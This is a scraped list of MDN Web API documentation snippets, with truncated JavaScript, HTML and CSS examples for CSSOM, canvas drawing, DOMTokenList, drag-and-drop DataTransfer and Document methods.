example the following javascript code gets the parent css style rule from a cssstyledeclaration: var declaration = document.stylesheets[0].rules[0].style; var rule = declaration.parentrule; specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.parentrule' in that specification.
CSSStyleDeclaration.removeProperty() - Web APIs
example the following javascript code removes the background-color css property from a selector rule: var declaration = document.stylesheets[0].rules[0].style; var oldvalue = declaration.removeproperty('background-color'); specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.removeproperty()' in that specification.
CSSStyleDeclaration - Web APIs
this is mostly useful for non-javascript dom implementations.
CSS Object Model (CSSOM) - Web APIs
the css object model is a set of apis allowing the manipulation of css from javascript.
Using the CSS Painting API - Web APIs
css.paintworklet.addmodule('nameofpaintworkletfile.js'); this can be done using the paint worklet's addmodule() method in a <script> within the main html or in an external javascript file linked to from the document.
CanvasGradient.addColorStop() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let gradient = ctx.createlineargradient(0, 0, 200, 0); gradient.addcolorstop(0, 'green'); gradient.addcolorstop(.7, 'white'); gradient.addcolorstop(1, 'pink'); ctx.fillstyle = gradient; ctx.fillrect(10, 10, 200, 100); result specifications specification status comment html living...
CanvasPattern.setTransform() - Web APIs
html <canvas id="canvas"></canvas> <svg id="svg1"></svg> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var svg1 = document.getelementbyid('svg1'); var matrix = svg1.createsvgmatrix(); var img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ...
CanvasRenderingContext2D.addHitRegion() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); canvas.addeventlistener('mousemove', function(event) { if(event.region) { alert('ouch, my eye :('); } }); ctx.beginpath(); ctx.arc(100, 100, 75, 0, 2 * math.pi); ctx.linewidth = 5; ctx.stroke(); // eyes ctx.beginpath(); ctx.arc(70, 80, 10, 0, 2 * math.pi); ctx.arc(130, 80, 10, 0, 2 * math.pi); ctx.f...
CanvasRenderingContext2D.beginPath() - Web APIs
html <canvas id="canvas"></canvas> javascript the beginpath() method is called before beginning each line, so that they may be drawn with different colors.
CanvasRenderingContext2D.clearHitRegions() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // set some hit regions ctx.addhitregion({id: 'eyes'}); ctx.addhitregion({id: 'nose'}); ctx.addhitregion({id: 'mouth'}); // remove them altogether from the canvas ctx.clearhitregions(); specifications canvas hit regions have been removed from the whatwg living standard, although discussions about future standardization are ongoing.
CanvasRenderingContext2D.clearRect() - Web APIs
html <canvas id="canvas"></canvas> javascript the cleared area is rectangular in shape, with its top-left corner at (10, 10).
CanvasRenderingContext2D.createLinearGradient() - Web APIs
html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); // create a linear gradient // the start gradient point is at x=20, y=0 // the end gradient point is at x=220, y=0 var gradient = ctx.createlineargradient(20,0, 220,0); // add three color stops gradient.addcolorstop(0, 'green'); gradient.addcolorstop(.5, 'cyan'); gradient.addcolorstop(1, 'green'); // set the fi...
CanvasRenderingContext2D.createRadialGradient() - Web APIs
html <canvas id="canvas" width="200" height="200"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); // create a radial gradient // the inner circle is at x=110, y=90, with radius=30 // the outer circle is at x=100, y=100, with radius=70 var gradient = ctx.createradialgradient(110,90,30, 100,100,70); // add three color stops gradient.addcolorstop(0, 'pink'); gradient.addcolorstop(.9, 'white'); gradient.addcolor...
CanvasRenderingContext2D.currentTransform - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let matrix = ctx.currenttransform; matrix.a = 1; matrix.b = 1; matrix.c = 0; matrix.d = 1; matrix.e = 0; matrix.f = 0; ctx.currenttransform = matrix; ctx.fillrect(0, 0, 100, 100); result ...
CanvasRenderingContext2D.direction - Web APIs
html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.font = '48px serif'; ctx.filltext('hi!', 150, 50); ctx.direction = 'rtl'; ctx.filltext('hi!', 150, 130); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.direction' in that specification.
CanvasRenderingContext2D.drawFocusIfNeeded() - Web APIs
html <canvas id="canvas"> <button id="button1">continue</button> <button id="button2">quit</button> </canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const button1 = document.getelementbyid('button1'); const button2 = document.getelementbyid('button2'); document.addeventlistener('focus', redraw, true); document.addeventlistener('blur', redraw, true); canvas.addeventlistener('click', handleclick, false); redraw(); function redraw() { ctx.clearrect(0, 0, ...
CanvasRenderingContext2D.fillRect() - Web APIs
html <canvas id="canvas"></canvas> javascript the rectangle's top-left corner is at (20, 10).
CanvasRenderingContext2D.fillStyle - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); result creating multiple fill colors using loops in this example, we use two for loops to draw a grid of rectangles, each having a different fill color.
CanvasRenderingContext2D.font - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = 'bold 48px serif'; ctx.stroketext('hello world', 50, 100); result loading fonts with the css font loading api with the help of the fontface api, you can explicitly load fonts before using them in a canvas.
CanvasRenderingContext2D.getImageData() - Web APIs
html <canvas id="canvas"></canvas> javascript the object retrieved by getimagedata() has a width of 200 and a height of 100, for a total of 20,000 pixels.
CanvasRenderingContext2D.getLineDash() - Web APIs
html <canvas id="canvas"></canvas> javascript as set by setlinedash(), strokes consist of lines that are 10 units wide, with spaces of 20 units in between each line.
CanvasRenderingContext2D.getTransform() - Web APIs
html <canvas width="240"></canvas> <canvas width="240"></canvas> css canvas { border: 1px solid black; } javascript const canvases = document.queryselectorall('canvas'); const ctx1 = canvases[0].getcontext('2d'); const ctx2 = canvases[1].getcontext('2d'); ctx1.settransform(1, .2, .8, 1, 0, 0); ctx1.fillrect(25, 25, 50, 50); let storedtransform = ctx1.gettransform(); console.log(storedtransform); ctx2.settransform(storedtransform); ctx2.beginpath(); ctx2.arc(50, 50, 50, 0, 2 * math.pi); ctx2.fill(); result...
CanvasRenderingContext2D.globalAlpha - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.globalalpha = 0.5; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, 100, 100); result overlaying transparent shapes this example illustrates the effect of overlaying multiple transparent shapes on top of each other.
CanvasRenderingContext2D.globalCompositeOperation - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.globalcompositeoperation = 'xor'; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.globalcomposit...
CanvasRenderingContext2D.imageSmoothingEnabled - Web APIs
html <canvas id="canvas" width="460" height="210"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '16px sans-serif'; ctx.textalign = 'center'; const img = new image(); img.src = 'https://interactive-examples.mdn.mozilla.net/media/examples/star.png'; img.onload = function() { const w = img.width, h = img.height; ctx.filltext('source', w * .5, 20); ctx.drawimage(img, 0, 24, w, h);...
CanvasRenderingContext2D.imageSmoothingQuality - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { ctx.imagesmoothingquality = 'low'; ctx.drawimage(img, 0, 0, 300, 150); }; result specifications specification status comment html living standardthe d...
CanvasRenderingContext2D.lineCap - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(20, 20); ctx.linewidth = 15; ctx.linecap = 'round'; ctx.lineto(100, 100); ctx.stroke(); result comparison of line caps in this example three lines are drawn, each with a different value for the linecap property.
CanvasRenderingContext2D.lineDashOffset - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.setlinedash([4, 16]); // dashed line with no offset ctx.beginpath(); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); // dashed line with offset of 4 ctx.beginpath(); ctx.strokestyle = 'red'; ctx.linedashoffset = 4; ctx.moveto(0, 100); ctx.lineto(300, 100); ctx.stroke(); result the line with a d...
CanvasRenderingContext2D.lineJoin - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.linewidth = 20; ctx.linejoin = 'round'; ctx.beginpath(); ctx.moveto(20, 20); ctx.lineto(190, 100); ctx.lineto(280, 20); ctx.lineto(280, 150); ctx.stroke(); result comparison of line joins the example below draws three different paths, demonstrating each of the three linejoin options.
CanvasRenderingContext2D.lineWidth - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.linewidth = 15; ctx.beginpath(); ctx.moveto(20, 20); ctx.lineto(130, 130); ctx.rect(40, 40, 70, 70); ctx.stroke(); result more examples for more examples and explanation about this property, see applying styles and color in the canvas tutorial.
CanvasRenderingContext2D.moveTo() - Web APIs
html <canvas id="canvas"></canvas> javascript the first line begins at (50, 50) and ends at (200, 50).
CanvasRenderingContext2D.rect() - Web APIs
html <canvas id="canvas"></canvas> javascript the rectangle's corner is located at (10, 20).
CanvasRenderingContext2D.removeHitRegion() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // set a hit region ctx.addhitregion({id: 'eyes'}); // remove it from the canvas ctx.removehitregion('eyes'); specifications canvas hit regions have been removed from the whatwg living standard, although discussions about future standardization are ongoing.
CanvasRenderingContext2D.restore() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // save the default state ctx.save(); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 100, 100); // restore the default state ctx.restore(); ctx.fillrect(150, 40, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrendering...
CanvasRenderingContext2D.save() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // save the default state ctx.save(); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 100, 100); // restore the default state ctx.restore(); ctx.fillrect(150, 40, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrendering...
CanvasRenderingContext2D.scrollPathIntoView() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.fillrect(10, 10, 30, 30); ctx.scrollpathintoview(); edit the code below to see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"> <input id="button" type="range" min="1" max="12"> </canvas> <div class="playable-...
CanvasRenderingContext2D.shadowBlur - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowblur = 15; // rectangle ctx.fillstyle = 'blue'; ctx.fillrect(20, 20, 150, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.shadowblur' in that specification.
CanvasRenderingContext2D.shadowOffsetX - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowoffsetx = 25; ctx.shadowblur = 10; // rectangle ctx.fillstyle = 'blue'; ctx.fillrect(20, 20, 150, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.shadowoffsetx' ...
CanvasRenderingContext2D.shadowOffsetY - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowoffsety = 25; ctx.shadowblur = 10; // rectangle ctx.fillstyle = 'blue'; ctx.fillrect(20, 20, 150, 80); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.shadowoffsety' i...
CanvasRenderingContext2D.strokeStyle - Web APIs
html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.strokestyle = 'blue'; ctx.strokerect(10, 10, 100, 100); result creating multiple stroke colors using loops in this example, we use two for loops and the arc() method to draw a grid of circles, each having a different stroke color.
CanvasRenderingContext2D.textBaseline - Web APIs
html <canvas id="canvas" width="550" height="500"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const baselines = ['top', 'hanging', 'middle', 'alphabetic', 'ideographic', 'bottom']; ctx.font = '36px serif'; ctx.strokestyle = 'red'; baselines.foreach(function (baseline, index) { ctx.textbaseline = baseline; const y = 75 + index * 75; ctx.beginpath(); ctx.moveto(0, y + 0.5); ctx.lineto(550, y ...
CanvasRenderingContext2D.transform() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.transform(1, .2, .8, 1, 0, 0); ctx.fillrect(0, 0, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.transform' in that specification.
CanvasRenderingContext2D.translate() - Web APIs
html <canvas id="canvas"></canvas> javascript the translate() method translates the context by 110 horizontally and 30 vertically.
A basic ray-caster - Web APIs
the canvas overview and tutorial i found here at mdn are great, but nobody had written about animation yet, so i thought i'd try a port of a basic raycaster i'd worked on a while ago, and see what sort of performance we can expect from a javascript-controlled pixel buffer.
Drawing shapes with canvas - Web APIs
to convert degrees to radians you can use the following javascript expression: radians = (math.pi/180)*degrees.
Using channel messaging - Web APIs
receiving the port and message in the iframe over in the iframe, we have the following javascript: var list = document.queryselector('ul'); var port2; // listen for the initial port transfer message window.addeventlistener('message', initport); // setup the transferred port function initport(e) { port2 = e.ports[0]; port2.onmessage = onmessage; } // handle messages received on port2 function onmessage(e) { var listitem = document.createelement('li'); listitem.textcontent = e.data;...
Constraint validation API - Web APIs
if you wanted to instead display custom error messages, you could use javascript like the following: const nameinput = document.queryselector('input'); const form = document.queryselector('form'); nameinput.addeventlistener('input', () => { nameinput.setcustomvalidity(''); nameinput.checkvalidity(); }); nameinput.addeventlistener('invalid', () => { if(nameinput.value === '') { nameinput.setcustomvalidity('enter your username!'); } else { nameinput.setcustom...
DOMException - Web APIs
(legacy code value: 17 and legacy constant name: type_mismatch_err) this value is deprecated; the javascript typeerror exception is now raised instead of a domexception with this value.
DOMImplementation.createHTMLDocument() - Web APIs
here's the html for this example: <body> <p>click <a href="javascript:makedocument()">here</a> to create a new document and insert it below.</p> <iframe id="theframe" src="about:blank" /> </body> the javascript implementation of makedocument() follows: function makedocument() { let frame = document.getelementbyid("theframe"); let doc = document.implementation.createhtmldocument("new document"); let p = doc.createelement("p"); p.innerhtml = "this is a ...
DOMMatrixReadOnly.flipX() - Web APIs
<svg width="100" height="100" viewbox="-50 0 100 100"> <path fill="red" d="m 0 50 l 50 0 l 50 100 z" /> <path id="flipped" fill="blue" d="m 0 50 l 50 0 l 50 100 z" /> </svg> this javascript first creates an identity matrix, then uses the `flipx()` method to create a new matrix, which is then applied to the blue triangle, inverting it across the x-axis.
DOMMatrixReadOnly.scale() - Web APIs
examples this svg contains three squares, one red, one blue, and one green, each positioned at the document origin: <svg width="250" height="250" viewbox="0 0 25 25"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> <rect id="transformedorigin" width="25" height="25" fill="green" /> </svg> this javascript first creates an identity matrix, then uses the scale() method to create a new matrix with a single parameter.
DOMMatrixReadOnly.translate() - Web APIs
examples this svg contains two squares, one red and one blue, each positioned at the document origin: <svg width="250" height="250" viewbox="0 0 50 50"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> </svg> the following javascript first creates an identity matrix, then uses the translate() method to create a new, translated matrix — which is then applied to the blue square as a transform.
DOMObject - Web APIs
WebAPIDOMObject
the specifications now simply use the javascript object type.
DOMPointReadOnly.x - Web APIs
this property cannot be changed by javascript code in this read-only version of the dompoint object.
DOMRectReadOnly - Web APIs
note that this constructor cannot be called by 3rd party javascript; doing so returns an "illegal constructor" typeerror.
DOMString - Web APIs
WebAPIDOMString
as javascript already uses such strings, domstring is mapped directly to a string.
DOMTokenList.add() - Web APIs
WebAPIDOMTokenListadd
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; classes.add("d"); span.textcontent = classes; the output looks like this: you can add multiple tokens as well: span.classlist.add("d", "e", "f"); specifications specification status comment domthe definition of 'add()' in that specification.
DOMTokenList.contains() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let result = classes.contains("c"); if (result) { span.textcontent = "the classlist contains 'c'"; } else { span.textcontent = "the classlist does not contain 'c'"; } the output looks like this: specifications specification status comment domthe definition of 'contains()' in that speci...
DOMTokenList.entries() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let iterator = classes.entries(); for (let value of iterator) { span.textcontent += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'entries() (as iterable<node>)' in that specification.
DOMTokenList.forEach() - Web APIs
html <span class="a b c"></span> javascript let span = document.queryselector("span"); let classes = span.classlist; let iterator = classes.values(); classes.foreach( function(value, key, listobj) { span.textcontent += `${value} ${key}/${this} ++ `; }, "arg" ); result polyfill this polyfill adds compatibility to all browsers supporting es5: if (window.domtokenlist && !domtokenlist.prototype.foreach) { domtokenlist.pro...
DOMTokenList.item() - Web APIs
WebAPIDOMTokenListitem
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let item = classes.item(classes.length-1); span.textcontent = item; the output looks like this: specifications specification status comment domthe definition of 'item()' in that specification.
DOMTokenList.keys() - Web APIs
WebAPIDOMTokenListkeys
first, the html: <span class="a b c"></span> now the javascript: var span = document.queryselector("span"); var classes = span.classlist; var iterator = classes.keys(); for(var value of iterator) { span.textcontent += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'keys() (as iterable<node>)' in that specification.
DOMTokenList.length - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let length = classes.length; span.textcontent = `classlist length = ${length}`; the output looks like this: specifications specification status comment domthe definition of 'length' in that specification.
DOMTokenList.remove() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; classes.remove("c"); span.textcontent = classes; the output looks like this: to remove multiple classes at once, you can supply multiple tokens.
DOMTokenList.replace() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let result = classes.replace("c", "z"); console.log(result); if (result) { span.textcontent = classes; } else { span.textcontent = 'token not replaced successfully'; } the output looks like this: polyfill the following polyfill will add the replace method to the domtokenlist class.
DOMTokenList.supports() - Web APIs
example let iframe = document.getelementbyid('display'); if (iframe.sandbox.supports('an-upcoming-feature')) { // support code for mystery future feature } else { // fallback code } if (iframe.sandbox.supports('allow-scripts')) { // instruct frame to run javascript // // (note: this feature is well-supported; this is just an example!) // } specifications specification status comment credential management level 1 working draft initial definition.
DOMTokenList.toggle() - Web APIs
first, the html: <span class="a b">classlist is 'a b'</span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; span.addeventlistener('click', function() { let result = classes.toggle("c"); if (result) { span.textcontent = `'c' added; classlist is now "${classes}".`; } else { span.textcontent = `'c' removed; classlist is now "${classes}".`; } }) the output looks like this: specifications specificatio...
DOMTokenList.value - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; span.textcontent = classes.value; the output looks like this: specifications specification status comment domthe definition of 'value' in that specification.
DOMTokenList.values() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: var span = document.queryselector("span"); var classes = span.classlist; var iterator = classes.values(); for(var value of iterator) { span.textcontent += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'values() (as iterable<node>)' in that specification.
DOMUserData - Web APIs
in javascript, it maps directly to object.
DataTransfer.clearData() - Web APIs
</span> <span class="tweaked" id="target">drop zone</span> <div>status: <span id="status">drag to start</span></div> <div>data is: <span id="data">uninitialized</span></div> css span.tweaked { display: inline-block; margin: 1em 0; padding: 1em 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript window.addeventlistener('domcontentloaded', function () { // select html elements var draggable = document.getelementbyid('source'); var dropable = document.getelementbyid('target'); var status = document.getelementbyid('status'); var data = document.getelementbyid('data'); var dropped = false; // register event handlers draggable.addeventlistener('dragstart', dragstarthandler);...
DataTransfer.dropEffect - Web APIs
</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css content div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript content function dragstart_handler(ev) { console.log("dragstart: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handl...
DataTransfer.getData() - Web APIs
html content <div id="div1" ondrop="drop(event)" ondragover="allowdrop(event)"> <span id="drag" draggable="true" ondragstart="drag(event)">drag me to the other box</span> </div> <div id="div2" ondrop="drop(event)" ondragover="allowdrop(event)"></div> css content #div1, #div2 { width:100px; height:50px; padding:10px; border:1px solid #aaaaaa; } javascript content function allowdrop(allowdropevent) { allowdropevent.target.style.color = 'blue'; allowdropevent.preventdefault(); } function drag(dragevent) { dragevent.datatransfer.setdata("text", dragevent.target.id); dragevent.target.style.color = 'green'; } function drop(dropevent) { dropevent.preventdefault(); var data = dropevent.datatransfer.getdata("text"); dropeven...
DataTransferItem.webkitGetAsEntry() - Web APIs
#dropzone { text-align: center; width: 300px; height: 100px; margin: 10px; padding: 10px; border: 4px dashed red; border-radius: 10px; } #boxtitle { display: table-cell; vertical-align: middle; text-align: center; color: black; font: bold 2em "arial", sans-serif; width: 300px; height: 100px; } body { font: 14px "arial", sans-serif; } javascript content first, let's look at the recursive scanfiles() function.
DataTransferItemList.DataTransferItem() - Web APIs
javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
DataTransferItemList.add() - Web APIs
agend="dragend_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
DataTransferItemList.clear() - Web APIs
);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
DataTransferItemList.length - Web APIs
javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
DataTransferItemList.remove() - Web APIs
javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
DirectoryReaderSync - Web APIs
it's not a big deal, because you don't really need to have the main app and the worker thread see the same javascript object; you just need them to access the same files.
Document.URL - Web APIs
WebAPIDocumentURL
syntax const url = document.url example javascript document.getelementbyid("url").textcontent = document.url; html <p id="urltext"> url:<br/> <span id="url">url goes here</span> </p> result specifications specification status comment domthe definition of 'document.url' in that specification.
Document.all - Web APIs
WebAPIDocumentall
conversion to boolean document.all is the only falsy object accessible to javascript, because it has the [[ishtmldda]] internal slot.
Document.caretRangeFromPoint() - Web APIs
stet clita kasd gubergren, no sea takimata sanctus est lorem ipsum dolor sit amet.</p> javascript function insertbreakatpoint(e) { let range; let textnode; let offset; if (document.caretpositionfrompoint) { range = document.caretpositionfrompoint(e.clientx, e.clienty); textnode = range.offsetnode; offset = range.offset; } else if (document.caretrangefrompoint) { range = document.caretrangefrompoint(e.clientx, e.clienty); textnode = range.startcontainer; off...
Document.createDocumentFragment() - Web APIs
html <ul id="ul"> </ul> javascript var element = document.getelementbyid('ul'); // assuming ul exists var fragment = document.createdocumentfragment(); var browsers = ['firefox', 'chrome', 'opera', 'safari', 'internet explorer']; browsers.foreach(function(browser) { var li = document.createelement('li'); li.textcontent = browser; fragment.appendchild(li); }); element.appendchild(fragment); result specifica...
Document.createElement() - Web APIs
html <!doctype html> <html> <head> <title>||working with elements||</title> </head> <body> <div id="div1">the text above has been created dynamically.</div> </body> </html> javascript document.body.onload = addelement; function addelement () { // create a new div element const newdiv = document.createelement("div"); // and give it some content const newcontent = document.createtextnode("hi there and greetings!"); // add the text node to the newly created div newdiv.appendchild(newcontent); // add the newly created element and its content into the dom const...
Document.createElementNS() - Web APIs
although this is not an extremely useful xul document, it does demonstrate the use of elements from two different namespaces within a single document: <?xml version="1.0"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml" title="||working with elements||" onload="init()"> <script type="application/javascript"><![cdata[ let container; let newdiv; let txtnode; function init(){ container = document.getelementbyid("containerbox"); newdiv = document.createelementns("http://www.w3.org/1999/xhtml", "div"); txtnode = document.createtextnode("this is text that was constructed dynamically with createelementns and createtextnode then inserted into the document using appendchild."); newdiv.appen...
Document.createNSResolver() - Web APIs
see also document.evaluate introduction to using xpath in javascript specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'document.creatensresolver' in that specification.
Document.currentScript - Web APIs
the document.currentscript property returns the <script> element whose script is currently being processed and isn't a javascript module.
Document.documentURI - Web APIs
syntax const uri = document.documenturi example javascript document.getelementbyid("url").textcontent = document.documenturi; html <p id="urltext"> url:<br/> <span id="url">url goes here</span> </p> result specifications specification status comment domthe definition of 'documenturi' in that specification.
Document: drag event - Web APIs
dragstart="event.datatransfer.setdata('text/plain',null)"> this div is draggable </div> </div> <div class="dropzone"></div> <div class="dropzone"></div> <div class="dropzone"></div> css #draggable { width: 200px; height: 20px; text-align: center; background: white; } .dropzone { width: 200px; height: 20px; background: blueviolet; margin-bottom: 10px; padding: 10px; } javascript var dragged; /* events fired on the draggable target */ document.addeventlistener("drag", function(event) { }, false); document.addeventlistener("dragstart", function(event) { // store a ref.
Document.evaluate() - Web APIs
WebAPIDocumentevaluate
if the "." was left out (leaving //h2) the query would start from the root node (html) which would be more wasteful.) see introduction to using xpath in javascript for more information.
Document.getElementById() - Web APIs
example html <html> <head> <title>getelementbyid example</title> </head> <body> <p id="para">some text here</p> <button onclick="changecolor('blue');">blue</button> <button onclick="changecolor('red');">red</button> </body> </html> javascript function changecolor(newcolor) { var elem = document.getelementbyid('para'); elem.style.color = newcolor; } result usage notes the capitalization of "id" in the name of this method must be correct for the code to function; getelementbyid() is not valid and will not work, however natural it may seem.
Document.getElementsByClassName() - Web APIs
html <span class="orange fruit">orange fruit</span> <span class="orange juice">orange juice</span> <span class="apple juice">apple juice</span> <span class="foo bar">something random</span> <textarea id="resultarea" style="width:98%;height:7em"></textarea> javascript // getelementsbyclassname only selects elements that have both given classes var allorangejuicebyclass = document.getelementsbyclassname('orange juice'); var result = "document.getelementsbyclassname('orange juice')"; for (var i=0, len=allorangejuicebyclass.length|0; i<len; i=i+1|0) { result += "\n " + allorangejuicebyclass[i].textcontent; } // queryselector only selects full complete mat...
Document.getElementsByTagNameNS() - Web APIs
